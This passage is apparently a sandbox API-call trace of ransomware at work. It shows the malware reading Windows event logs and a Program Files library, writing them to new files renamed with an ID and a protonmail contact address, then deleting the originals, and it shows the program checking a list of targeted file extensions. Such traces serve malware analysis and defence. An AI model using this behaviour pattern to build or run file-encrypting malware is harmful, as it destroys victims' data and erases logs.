	[0077.552] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.552] SetEndOfFile (hFile=0x370) returned 1
	[0077.553] CloseHandle (hObject=0x370) returned 1
	[0077.553] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.553] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1
	[0077.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.553] lstrlenW (lpString=".doc") returned 4
	[0077.553] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".docx") returned 5
	[0077.554] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.554] lstrlenW (lpString=".pdf") returned 4
	[0077.554] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".xls") returned 4
	[0077.554] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".xlsx") returned 5
	[0077.554] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.554] lstrlenW (lpString=".ppt") returned 4
	[0077.554] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.554] lstrlenW (lpString=".zip") returned 4
	[0077.554] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".rar") returned 4
	[0077.554] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".bz2") returned 4
	[0077.554] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".7z") returned 3
	[0077.554] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.554] lstrlenW (lpString=".dbf") returned 4
	[0077.554] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.554] lstrlenW (lpString=".1cd") returned 4
	[0077.554] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.554] lstrlenW (lpString=".jpg") returned 4
	[0077.554] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.554] lstrlenW (lpString=".doc") returned 4
	[0077.554] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.554] lstrlenW (lpString=".docx") returned 5
	[0077.555] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.555] lstrlenW (lpString=".pdf") returned 4
	[0077.555] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString=".xls") returned 4
	[0077.555] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString=".xlsx") returned 5
	[0077.555] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.555] lstrlenW (lpString=".ppt") returned 4
	[0077.555] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.555] lstrlenW (lpString=".zip") returned 4
	[0077.555] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString=".rar") returned 4
	[0077.555] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString=".bz2") returned 4
	[0077.555] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString=".7z") returned 3
	[0077.555] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.555] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.555] lstrlenW (lpString=".dbf") returned 4
	[0077.555] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.555] lstrlenW (lpString=".1cd") returned 4
	[0077.555] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.555] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0077.555] lstrlenW (lpString=".jpg") returned 4
	[0077.555] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.555] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.556] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48
	[0077.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.556] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1052672) returned 1
	[0077.556] CloseHandle (hObject=0x370) returned 1
	[0077.556] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0077.556] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.557] GetLastError () returned 0x0
	[0077.557] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.798] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.817] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x1010, lpOverlapped=0x0) returned 1
	[0077.968] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1020, lpOverlapped=0x0) returned 1
	[0077.972] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.972] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x134, lpOverlapped=0x0) returned 1
	[0077.972] SetEndOfFile (hFile=0x33c) returned 1
	[0077.972] CloseHandle (hObject=0x33c) returned 1
	[0077.994] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.994] SetEndOfFile (hFile=0x370) returned 1
	[0077.995] CloseHandle (hObject=0x370) returned 1
	[0077.996] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.996] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1
	[0077.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.996] lstrlenW (lpString=".doc") returned 4
	[0077.997] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".docx") returned 5
	[0077.997] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.997] lstrlenW (lpString=".pdf") returned 4
	[0077.997] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".xls") returned 4
	[0077.997] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".xlsx") returned 5
	[0077.997] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.997] lstrlenW (lpString=".ppt") returned 4
	[0077.997] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.997] lstrlenW (lpString=".zip") returned 4
	[0077.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".rar") returned 4
	[0077.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".bz2") returned 4
	[0077.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".7z") returned 3
	[0077.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.997] lstrlenW (lpString=".dbf") returned 4
	[0077.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.997] lstrlenW (lpString=".1cd") returned 4
	[0077.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.997] lstrlenW (lpString=".jpg") returned 4
	[0077.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.997] lstrlenW (lpString=".doc") returned 4
	[0077.998] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".docx") returned 5
	[0077.998] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.998] lstrlenW (lpString=".pdf") returned 4
	[0077.998] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".xls") returned 4
	[0077.998] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".xlsx") returned 5
	[0077.998] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.998] lstrlenW (lpString=".ppt") returned 4
	[0077.998] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.998] lstrlenW (lpString=".zip") returned 4
	[0077.998] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".rar") returned 4
	[0077.998] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".bz2") returned 4
	[0077.998] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".7z") returned 3
	[0077.998] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.998] lstrlenW (lpString=".dbf") returned 4
	[0077.998] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.998] lstrlenW (lpString=".1cd") returned 4
	[0077.998] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0077.998] lstrlenW (lpString=".jpg") returned 4
	[0077.998] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.998] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1
	[0077.999] lstrlenW (lpString="pagefile.sys") returned 12
	[0077.999] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0077.999] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0077.999] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0077.999] lstrlenW (lpString=".doc") returned 4
	[0077.999] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0077.999] lstrlenW (lpString=".docx") returned 5
	[0077.999] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0077.999] lstrlenW (lpString=".pdf") returned 4
	[0077.999] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0077.999] lstrlenW (lpString=".xls") returned 4
	[0077.999] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0077.999] lstrlenW (lpString=".xlsx") returned 5
	[0077.999] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0077.999] lstrlenW (lpString=".ppt") returned 4
	[0077.999] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0077.999] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0077.999] lstrlenW (lpString=".zip") returned 4
	[0077.999] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0077.999] lstrlenW (lpString=".rar") returned 4
	[0077.999] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0077.999] lstrlenW (lpString=".bz2") returned 4
	[0077.999] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0077.999] lstrlenW (lpString=".7z") returned 3
	[0077.999] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0077.999] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0077.999] lstrlenW (lpString=".dbf") returned 4
	[0077.999] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0077.999] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0077.999] lstrlenW (lpString=".1cd") returned 4
	[0077.999] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString=".jpg") returned 4
	[0078.000] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString=".doc") returned 4
	[0078.000] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString=".docx") returned 5
	[0078.000] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0078.000] lstrlenW (lpString=".pdf") returned 4
	[0078.000] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString=".xls") returned 4
	[0078.000] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0078.000] lstrlenW (lpString=".xlsx") returned 5
	[0078.000] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0078.000] lstrlenW (lpString=".ppt") returned 4
	[0078.000] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString=".zip") returned 4
	[0078.000] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0078.000] lstrlenW (lpString=".rar") returned 4
	[0078.000] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString=".bz2") returned 4
	[0078.000] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString=".7z") returned 3
	[0078.000] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString=".dbf") returned 4
	[0078.000] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString=".1cd") returned 4
	[0078.000] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0078.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0078.000] lstrlenW (lpString=".jpg") returned 4
	[0078.001] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0078.001] lstrcmpiW (lpString1=".OLB", lpString2=".html") returned 1
	[0078.001] lstrlenW (lpString="MSADDNDR.OLB") returned 12
	[0078.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.160] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15984) returned 1
	[0078.160] CloseHandle (hObject=0x320) returned 1
	[0078.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20
	[0078.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.171] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.171] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.171] GetLastError () returned 0x0
	[0078.171] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x3e70, lpOverlapped=0x0) returned 1
	[0078.175] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0078.176] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.176] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.176] SetEndOfFile (hFile=0x358) returned 1
	[0078.176] CloseHandle (hObject=0x358) returned 1
	[0078.177] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.177] SetEndOfFile (hFile=0x320) returned 1
	[0078.178] CloseHandle (hObject=0x320) returned 1
	[0078.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.178] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1
	[0078.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.179] lstrlenW (lpString=".doc") returned 4
	[0078.179] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0078.179] lstrlenW (lpString=".docx") returned 5
	[0078.179] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0078.179] lstrlenW (lpString=".pdf") returned 4
	[0078.179] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0078.179] lstrlenW (lpString=".xls") returned 4
	[0078.179] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0078.179] lstrlenW (lpString=".xlsx") returned 5
	[0078.179] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0078.179] lstrlenW (lpString=".ppt") returned 4
	[0078.179] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0078.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.179] lstrlenW (lpString=".zip") returned 4
	[0078.179] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0078.179] lstrlenW (lpString=".rar") returned 4
	[0078.179] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0078.179] lstrlenW (lpString=".bz2") returned 4
	[0078.179] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0078.179] lstrlenW (lpString=".7z") returned 3
	[0078.179] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0078.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.179] lstrlenW (lpString=".dbf") returned 4
	[0078.179] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0078.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.179] lstrlenW (lpString=".1cd") returned 4
	[0078.179] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0078.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.179] lstrlenW (lpString=".jpg") returned 4
	[0078.180] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0078.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.180] lstrlenW (lpString=".doc") returned 4
	[0078.180] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0078.180] lstrlenW (lpString=".docx") returned 5
	[0078.180] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0078.180] lstrlenW (lpString=".pdf") returned 4
	[0078.180] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0078.180] lstrlenW (lpString=".xls") returned 4
	[0078.180] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0078.180] lstrlenW (lpString=".xlsx") returned 5
	[0078.180] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0078.180] lstrlenW (lpString=".ppt") returned 4
	[0078.180] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0078.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.180] lstrlenW (lpString=".zip") returned 4
	[0078.180] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0078.180] lstrlenW (lpString=".rar") returned 4
	[0078.180] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0078.180] lstrlenW (lpString=".bz2") returned 4
	[0078.180] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0078.180] lstrlenW (lpString=".7z") returned 3
	[0078.180] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0078.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.180] lstrlenW (lpString=".dbf") returned 4
	[0078.180] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0078.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.180] lstrlenW (lpString=".1cd") returned 4
	[0078.180] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0078.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0078.180] lstrlenW (lpString=".jpg") returned 4
	[0078.180] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0078.181] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
